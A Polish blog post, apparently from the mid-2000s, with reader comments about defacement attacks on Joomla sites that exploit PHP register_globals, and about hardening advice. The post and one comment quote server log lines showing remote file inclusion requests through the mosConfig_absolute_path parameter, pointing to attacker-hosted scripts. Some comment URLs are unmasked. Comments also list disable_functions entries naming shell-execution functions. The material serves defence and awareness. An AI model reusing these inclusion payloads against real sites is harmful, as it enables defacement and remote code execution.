Sezon włamań na Joomla rozpoczęty!

Drodzy posiadacze stron zbudowanych w Joomla! Do was kieruję ten wpis. Mamy lato, a to nic innego, jak sezon ataków na serwisy zbudowane w Joomla! Nie dajcie się zaskoczyć! Wierzcie mi, że to żadna przyjemność wejść pod własny adres i zamiast strony zobaczyć podpis Turka, jakiś gif i Bóg wie co jeszcze. Temat na własnej skórze przerobiłem i to sześciokrotnie. Nie lekceważcie kwestii bezpieczeństwa swoich witryn.

Wszyscy myślą podobnie: “a kto niby miałby włamywać się na moją stronę? Przecież jest dużo więcej bardziej atrakcyjnych dla hackerów stron. Dlaczego mieliby atakować moją?”. No właśnie: dlaczego? A może dlatego, aby połechtać swoją próżność. A może dlatego, aby zdobyć kolejne punkty w rankingu najskuteczniejszych hakierów? Dobra, do rzeczy. Jak już wspomniałem, na własnej skórze doświadczyłem sześciu skutecznych ataków, a poza tym kilka razy (ostatnio wczoraj) pomagałem pozbierać się właścicielom innych stron, którzy także mieli okazję gościć przybysza z Turcji (tak przynajmniej owi dżentelmeni się podpisują).

Wszystkie “zdobyte” serwisy miały wspólny mianownik: serwer, na którym były zainstalowane, nie spełniał zaleceń Joomla!. Chodzi o funkcję Register_Globals, która pozwala na wykonywanie zmiennych globalnych. Jeśli Twój serwer ma włączoną tę funkcję (Register_Globals = ON), to w każdej chwili ktoś Ci może wyciąć numer. Nawet ja.

Popatrz na to:

81.214.161.185 – – [28/Mar/2007:23:32:36 +0200] “GET /administrator/components/com_contact/toolbar.contact.php?mosConfig_absolute_path=http://www.************.us/*****.txt? HTTP/1.1” 200 29 “-” “Microsoft URL Control – 6.01.9782”

Oto tylko jedna linia logu serwera. Mojego serwera i mojej strony, której strona główna została bezczelnie podmieniona dnia 28 marca bieżącego roku. Register_Globals była włączona, bo administrator uparł się, że mają własne triki zapewniające bezpieczeństwo serwisów, dzięki którym do tej pory nie odnotowali żadnego ataku na postawiony na ich serwerach CMS Joomla!. Odpuściłem, no bo cóż: skoro facet tak mówi, to pewnie wie co mówi. To było niedługo po zmianie serwera, bo na poprzednim zaliczyłem 5 ataków (w tym trzy w ciągu czterech dni) i admin wyłączył RG.

Zajmijmy się teraz najważniejszym fragmentem powyższej linijki z logu.

/administrator/components/com_contact/toolbar.contact.php?mosConfig_absolute_path=http://www.************.us/*****.txt?

Co widać? A widać znajomy katalog “administrator”, dalej również doskonale znany katalog “components”, następny katalog “com_contact” także nie jest nikomu obcy (zobacz, u Ciebie też jest), a dalej plik “toolbar.contact.php”. Też go masz, sprawdź! A dalej… no właśnie: co to się do niego przykleiło? Albo raczej: kto, co i dlaczego to przykleił?

Gdybym wpisał adres Twojej strony, a po nim powyższy fragment (zaczynając od “administrator”, a na znaku zapytania skończywszy), to z Twoją stroną stałoby się dokładnie to samo, co z moją. Czyli: zamiast strony głównej swojego serwisu zobaczyłbyś kretyńską czaszkę z kretyńskimi napisami na równie kretyńskim tle, a do tego grała by jeszcze bardziej kretyńska melodyjka. Ale to jeszcze nie wszystko! Najbardziej kretyńskim w tym wszystkim byłby apel o zaprzestanie prześladowania Osamy bin Ladena!

Atakujący skorzystał z jednego z plików Joomla! (w tym przypadku był to toolbar.contact.php, ale wykorzystać można każdy inny) i za pomocą tego pliku odpalił swój skrypt zawarty w pliku tekstowym.

Uprzedzając pytania: nie znam więcej szczegółów. Ściągnąłem ten plik .txt (adres serwera i nazwę pliku na wszelki wypadek wygwiazdkowałem) i kilka dni leżał sobie na dysku. Kiedy po raz pierwszy zajrzałem do niego, zobaczyłem trochę php, trochę html i trochę nieznanego. Wszystko było zbyt zagmatwane, abym ze swoją wiedzą mógł to rozgryźć, toteż postanowiłem wysłać ten plik znajomemu programiście (pozdrawiam, Martin :) ). Tak się złożyło, że niedługo po tym przełączyłem sie na Windows (normalnie korzystam z Linuksa) i siedząc na tej “Windzie” zechciałem jeszcze raz zajrzeć do tego pliku. Wystarczyło musnąć go kursorem, aby antywirus zaczął się wydzierać, że właśnie usunął trojana. I po pliku. Jako, że ten mój znajomy używa Windowsa, natychmiast ostrzegłem go przed tym plikiem (bo jeszcze pomyśli, że chciałem mu konika trojańskiego podrzucić i co wtedy? ;) ) Tak czy siak okazało się, że te tajemnicze ciągi znaków, to jakiś niebezpieczny kod.

Wróćmy do kwestii ataku.
…toolbar.contact.php?mosConfig_absolute_path=http://itd. To przykład wywołania zmiennej globalnej. W ten sposób można wykonywać pliki znajdujące się na zewnętrznych serwerach zarówno w dobrych, jak i niecnych celach. Jest to możliwe, kiedy zmienna Register_Glonals jest włączona. A na większości serwerów jest, bowiem korzystają z tego m.in. bardzo popularne sklepy internetowe.

Jednak CMS-owi Joomla! do niczego działająca Register_Globals nie jest potrzebna, a wręcz przeciwnie:
“Register_Globals = ON” znaczy dokładnie tyle, co lokaj, któremu kazałeś wpuszczać każdego, kto zapuka do drzwi.

Dla Joomla Register_Globals musi być wyłączona. Pamiętaj: “Register_Globals ma być OFF” – i z wbiciem sobie tego do głowy nie czekaj do chwili ataku na Twoją stronę. Niby nie odnotowano jakiś większych szkód spowodowanych tego typu atakami, ale do stracenia i tak jest sporo:
– nerwy
– prestiż witryny
– użytkownicy/potencjalni klienci
– czas. Twój cenny czas

Po serii ataków z zeszłego roku, twórcy Joomla zrobili ukłon w stronę zapominalskich i ignorantów umieszczając w Panelu Administracyjnym przypomnienie o konieczności wyłączenia Register_Globals: już nie tylko podczas instalacji Joomla informuje o nieprawidłowej konfiguracji serwera, ale też podczas użytkowania. Jeśli w panelu administracyjnym widzisz czerwony komunikat na żółtym tle informujący o nieprawidłowym ustawieniu RG – napisz do obsługi swojego hostingu. Rzuć im nawet linkiem do tego wpisu.

Gdybym to ja pisał tłumaczenie do Joomla, to już na etapie instalatora komunikat dotyczący zalecanego ustawienia RG wyglądałby tak: “Register_Globals ma być OFF, bo inaczej dojadą cię Turki” – albo jeszcze dobitniej. Bo prawda jest taka, że większość podchodzi do sprawy zalecanych ustawień PHP tak: “Po co zmieniać? Przecież działa.”

Działa do czasu, aż Turcy odpalą działa. Wtedy biedni webmasterzy podnoszą lament na forach, że Joomla jest dziurawa jak sito (albo durszlak), że nikt im nie powiedział jak się zabezpieczyć itd.

Jeśli instalator mówi, że ma być TAK, to znaczy, że ma być TAK, a nie siak. Joomla to potężne oprogramowanie i wymaga pewnych zabiegów, aby środowisko pracy było optymalne. Zmiana ustawień serwera to żaden problem: można wybiórczo dla konkretnych subdomen zmieniać ustawienia, więc nie krępujcie się i nalegajcie, aby administratorzy Waszych serwerów dostosowywali konfigurację do zalecanej przez programistów Joomla.

Latem zeszłego roku była prawdziwa plaga ataków na serwisy postawione na Joomla lub Mambo. Czytałem uważnie zażalenia poszkodowanych (z niektórymi rozmawiałem via PW) i wszystkie przypadki opierały się o ten sam schemat. Teraz znowu nadeszło lato, wakacje i zaczyna się… w statystykach mojej strony z dnia na dzień przybywa wejść z wyszukiwarek, gdzie odwiedzający wpisują frazy w stylu “włamali mi się na stronę Joomla” – stąd właśnie pomysł na ten wpis. Nie lekceważcie bezpieczeństwa swoich serwisów.

Warto przeczytać: 10 najgłupszych tricków administratora Joomla

Subskrybcja
Powiadom o
guest

37 komentarzy
Wbudowane komentarze zwrotne
Pokaż wszystkie komentarze
pen.R

ha! skąd ja to znam :> Turkish Hackers nie raz i nie dwa dali mi się we znaki… Uspokoiło sie dopiero po zamianie ON na OFF przy zmiennej RG, a o ile mnie pamięć nie myli, to właśnie Pan, Panie Szuman doradziłeś mi to na forum Joomla :) Kto by pomyślał jaki ten internet mały :) Podpisuję się pod apelem autora i pozdrawiam wszystkich Joomlarzy :) Ahoj

szuman

faktycznie ten net jest mały, ale nie kojarzę po nicku ;)

draczeek

polecam też artykuł, który omawia pokrótce jak można zabezpieczyć się samemu porzez edycję pliku “.htaccess” w katalogu głównym naszej Joomli.
http://forum.joomla.pl/archive/index.php?t-3994.html

Dodam od siebie, że w moim “.htaccess” jest jeszcze dodatkowo linijka:

php_flag register_globals off

Powyższa linijka powoduje wyłączenie zmiennej RG dla wszystkich plików php wykonywanych w katalogach serwisu. Czyli rozwiązuje problem, o którym pisze autor tego artykułu.

Taką mam przynajmniej nadzieję. :)

Emil

do Draczeek
mozna, ale nie na wszystkich serwerach sie da. Podono tylko w przypadku php5 a w kazdym badz razie probowalem kiedys zmienic RG w .htaccess to wywalalo mi wew. bład serwera 500.

draczeek

Nie wiem jak jest z innymi serwerami. Na serwerach *.nazwa.pl ta zmiana w pliku .htaccess pomaga. Na domowym XAMPP’ie jeszcze nie sprawdzałem…

Wniosek jest prosty: chcesz się czuć bezpieczny i spać beztrosko, musisz wybulić :/, albo znaleźć bezpieczny serwer dostosowany do serwisów opartych na Mambo/Joomla.

Anonimowo

to prawda ze kluczowa sprawa jest konfirugarcja serwera i register-globals. u mnie byly 3 wlamania i skonczyly sie dopiero jak register-globals zostalo przez admina wylaczone. nie rozumiem jak mozna tak sobie lekcewazyc sprawe bezpieczenstwa. to tak jakby nie instalowac antywirusa ani firewalla no bo przeciez bez tego tez dziala. Pozdrowka

Paweł F

Ja wybrałem PHP.INI -> na progreso.pl :

register_globals = 0
disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
allow_url_fopen = 0
magic_quotes_gpc = 1
safe_mode = 1

Arek

Szuman, świetny pomysł z napisaniem tego artykułu! To prawda, wielu “administratorów” Joomli podchodzi bardzo lekceważąco do sprawy bezpieczeństwa, bo wydaje się im, że skoro dostali fantastyczne oprogramowanie do zarządzania witryną, to już wszystko będzie cacy. Szuman, może napisz jakiś artykuł pomocny dla tych, którym zhackowano stronę i nie wiedzą od czego zacząć. Jest w internecie kilka poradników, ale ja bardzo cenię Twoje, gdyż opierasz się jedynie na swoim własnym doświadczeniu i wiele ciekawych rzeczy można się dowiedzieć, o których nikt wczesniej nie wspomniał. Dawno tu nie zglądałem i gdyby nie joomlapl.com pewnie dłużej by to trwało. Duży plus za ostatnie… Czytaj więcej »

szuman

Arek, świetny pomysł z napisaniem tego artykułu ;) Poważnie, gdy tylko znajdę chwilę, napiszę coś na ten temat. Pozdrawiam

qq

1. Fakt jest taki, że Joomla jest jednak pisana niechlujnie i nie przyjmę innego zdania do wiadomości. 2. Oprócz register_globals=off warto jeszcze zmienić allow_url_fopen na off, i allow_url_include też na off, to kolejne po register_globals największe głupoty w PHPie. 3. I jeszcze jedno, wybierzcie maksymalnie duży podzbiór poniższego: disable_functions = php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname,… Czytaj więcej »

Anonimowo

Niechlujnie… hehe… po prostu jest pisana dla określonego środowiska. Nikt nie próbuje uruchamiać Quake’a na ZX Spectrum czy Atari. Można uruchomić IE7 w Linuksie tylko nikt nad Wami nie będzie płakał jak się coś zepsuje. Szuman, dzięki za dobry artykuł, Ty to jakiś weteran jesteś… 6 razy! Może słowa poszkodowanego zadziałają lepiej niż informacje świecące na czerwono i wielokrotnie maglowane na forum. Miejmy nadzieję, że tak. Swoją drogą to jednak chyba komuś musiałeś podpaść ;) – nie ważne jak się podpisuje. Błąd 500 wzmiankowany wcześniej najprawdopodobniej bierze się z jakiegoś skryptu, który wymaga RG – ma tak nie jeden z… Czytaj więcej »

szuman

z tym niechlujstwem, to w jakimś stopniu jestem w stanie się zgodzić, ale wątpię, aby to niechlujstwo było zamierzone. “Gdzie kucharek sześć…” Równie dobrze można się czepiać konstruktorów, że bolidy F1 nie radzą sobie w terenie. @Viking hehe, z tym weteranem to trochę przesada ;) pierwszy atak, to nawet nie wiedzialem co sie stało, po drugim zaktualizowałem Joomla (chyba do 1.0.10), ataki nr 3,4 i 5 nastąpiły w przeciągu czterech dni i wtedy właśnie wyłączyłem RG. Szósty atak, to marzec tego roku, po zmianie serwera prosiłem o wyłączenie Register_Globals, ale goście z supportu uparli sie, że mają własny “security system”… Czytaj więcej »

alex

Świetny artykuł. Od miesiąca sam walczę z upartym hakerem, który chyba robi wszystko aby mnie zniszczyć. Register globals mam na OFF, a mimo to wchodzi przez serwer proxy, wgrywa mi plik, który powoduje potem zepsucie wszystkich plików Pobieralni. Provider wskazał logi, administrator serwera proxy potwierdził i zabezpieczył dane, Policja czeka na decyzje prokuratury, co może potrwać i pół roku, a haker sie śmieje. Co z tym zrobić?

szuman

może ten hacker ma na Twoim serwerze własną furtkę? Mi kiedyś podrzucili kilka plików, z których jeden z nich był swoistym menedżerem plików niczym JoomlaXplorer. Znalazłem go w logach…

Cheops

dlaczego piszesz o Joomli a sam używasz czego innego? Nie, że się czepiam, ale co najmniej dziwnie to wygląda? Czy uważasz Joomle za niedostatecznie dobrą?

szuman

Cheops, czepiasz się :) Cały czas uważam Joomla za najlepszy CMS, którego miesiąc temu wymieniłem na Serendipity. Serendipity jest w sam raz: więcej nie potrzebuję i nie będę potrzebował, a Joomla z ogromem możliwości marnował się na blogu. Joomla używam na innej mojej stronie: http://www.wudeka.net i wkrótce postawię kolejny, bardziej ambitny serwis – oczywiście na Joomla.

Michał B.

na nazwa.pl register globals ustawia sie w .htaccess. Na koncu pliku .htaccess nalezy wstawic wpis

php_flag register_globals off

przed ta linijka musi byc enter czyli pusta linia. Pozdrawiam i dzieki za artykuł. Bardzo mi pomogł bo jestem w trakcie budowy swojej pierwszej stronki i pewnie bym zlekcewazyl sprawe register-globals :-P

Level1

#Michał B.

zrobiłem tak jak piszesz na nazwa.pl ale po wrzuceniu takiego htaccess ale nie działa :(

szuman

@Level1

jeśli zrobiłeś tak, jak radził Michał B. to musi działać (wiem, bo to samo robiłem na nazwie.pl).
W .htaccess na końcu:

php_flag register_globals off

a przed tym wpisem pusta linia (Enter). Musi działać, próbuj :)

Level1

zapomniałem zmienić nazwę htaccess.txt na .htaccess… dzięki :)

Mariusz

jaki serwer polecacie dla Joomla? Zrobiłem stronę na Krasnalu i chciałbym ją przenieść na hosting. Możecie coś polecić? Z góry dzięki za poradę. Pozdrawiam

M.

szuman

@Mariusz, serwer najlepiej stabilny :) Sprawdź takie marki jak iq.pl, kei.pl, kylos.pl, nazwa.pl, home.pl – te z cała pewnością stanowią czołówkę najsolidniejszych providerów. Przetestuj i zdecyduj sam ;)

MaxDamage

Jednym z najbardziej skutecznych zabezpieczeń i zarazem podstawowych Joomli jest zabezpieczenie folderu “administrator” hasłem poprzez plik httaccess, które od zawsze stosuje. Wtedy żaden atak opisany w artykule nie miałby miejsca i nie trzeba by było nawet bawić się z “register globals” (chociaż i tak trzeba to dać na OFF).

Robi

Witam, nie znam sie zabardzo na zabezpieczaniu strony, która mam w Joomla 1.5.5, ale ten problem z pier… turkiem jest u mnie. Zmienił index i hasło dostepu na stronę. Odzyskałem hasło i zmieniłem index, ale co mam zrobic dalej?
włam mozna zobaczyc tu http://www.erotoman.website.pl, a strona tego kuta… to http://www.turk-h.org/webmasters moja strona to najnowsze jego hackowanie.Prosze o pomoc.

nastulak.6rano.pl
alan

20 stron moich klientow dziala na joomla.

Ostanio mialem ataki Phishing PayPal na 1 z nich i telefon z USA w tej sprawie z firmy ‘Internet Identity’. teraz naprawione.

kolejne wlamania z ktorym sie nie moge uporac to druga strona ktora trafila na liste: phishtank.com

po logach widze ze ciagle byly wywolywane jakies dziwne adresy:

1) templates/archzone/css/indexs.html
2) mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://2006.aninite.at/mambots/test.txt??
3) index2.php?option=com_content&do_pdf=1&id=29/index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://forumsupport.terra.co.id/Packages/test.txt??

wstawiali tez na serwer pliki:

tempaltes/system/paypal.de
media/ paypal itp.

da sie wogule przy pomocy tej zmiennej wgrac coskolwiek na serwer ???

prosze o pomoc..
od kilku 2 lat wdrazam strony na joomla i zawsze ok.

szuman

@[b]Alan[/b], drugi i trzeci przykład z Twoich logów to nic innego, jak dowód na przeprowadznie właśnie ataku z wykorzystaniem włączonej funkcji register_globals.

wyłącz ją, jeśli jest to możliwe.

Czy da się tym sposobem coś wrzucić na serwer? Tak. Czytałes w ogóle ten wpis, czy tylko wszedłeś tu i od razu opisałeś się w komentarzu?

alan

czytalem wpis.

zmienna register globals jest WYŁĄCZONA NA SERWERZE. jest to ogolne ustawienie tego serwera.

zainstalowalem nowa joomla i jestem ciekaw czy atak sie powtorzy… ;/

a moze w httacces cos jeszcze ustawic ?

prosze o pomoc,
dziekuje

MaxDamage

@alan

Nową? To znaczy że miałeś nieaktualną wersję Joomli zawierającą znane błędy bezpieczeństwa?

alan

mialem joomla 1.5.1 Stable, teraz instaluje najnowszą na wlasne ryzyko….. ;/

ciekae czy ciag znakow ktory wpisuja jakies roboty znowy spowoduje wlamanie.

MaxDamage

@alan
A słyszałeś o czymś takim jak UAKTUALNIENIE? :]

szuman

@[b]Alan[/b], 1.5.1? Chłopie, jedenaście wersji do tyłu i robisz za profesjonalistę? Cóż, współczuć Twoim klientom :/ A później gadają tacy biznesowi, żeby danego CMS-a nie brać, bo hakerzy, że z własnego doświadczenia. A to nie system, a jego admin dupa.

Z resztą jest jeszcze taki sęk, że serwer globalnie może sobie mieć, ale Joomla czasem robi swoje i lubi sobie emulować jakieś rzeczy (w tym RG=ON), albo zawłaszczać prawa do katalogów i plików. Nie patrz na globalne, ale na to, co mówi PA w info o konfiguracji.

alan

naprawde dzieki za pomoc. teraz znam swoje bledy, a twoja notka okazuje sie przydatna.

tylko ja jestem zwolennikiem Joomla wiec nie mow ze ja cos tam gadam na tego CMS-a. “teraz instaluje najnowszą na wlasne ryzyko…..” – gdy ci admin zablokuje 4 razy serwer, to zrozumiesz.

Ja nie mieszcze sie w profilu 15-letniego lamusa, nie pisze na forach “pomocy”, nie tworze stron za 50zł na allegro, nie pisze do ciebie na maila i nie truje dupy “pomoz mi bo sie wlamali”. z tym ostatnim tekstem nie trafiles.

szuman

@[b]Alan[/b], nie mówię, że coś gadasz albo że odstawiasz dziecinadę na forach.
Stwierdzam jedynie brak profesjonalizmu, bo jak inaczej nazwać utrzymywanie wersji 1.5.1, kiedy dostępna jest 1.5.12? Lenistwem? Olewaniem? Jedno i drugie sprowadza się do amatorszczyzny.

Rozumiem, że można sobie odpuścić update o niższym priorytecie, ale wśrod jedenastu przegapionych przez Ciebie aktualizacji kilka było krytycznych.

Ryzykować można własnymi stronami, a nie swoich klientów. I to właśnie oni później gadają że system jest do bani, bo swoje osądy opierają na widocznych efektach. Chyba, że admin, który zawalił, przyzna się do winy.

alan

niczym, niczym nie mozna wytlumaczyc, ale taka natura ludzka… dopoki wszystko jest ok za kazdym razem i nic sie nie dzieje, nie myslalem o aktualizacjach. rutyna poprostu.

dziekuje.

p.s kiedys joomla dawala czerwone komunikaty, one chyba powinny nadal obowiazywac dla takich jak ja i mowic, “zrob aktualke”. hehe.

Asia

Dzieki Bogu, że trafiłam na twoją stronę:)Nawet nie miałam pojęcia, że takie rzeczy się dzieją. Jestem w trakcie intsalacji joomla i zaraz zmienię ustawienia. DZIĘKI!!!!

NetAudit

Najlepszą metodą ochrony jest wykonanie audytu bezpieczeństwa strony internetowej, audyt pozwoli na poznanie oraz eliminację luk bezpieczeństwa polecam usługi firmy NetAudit – http://www.netaudit.com.pl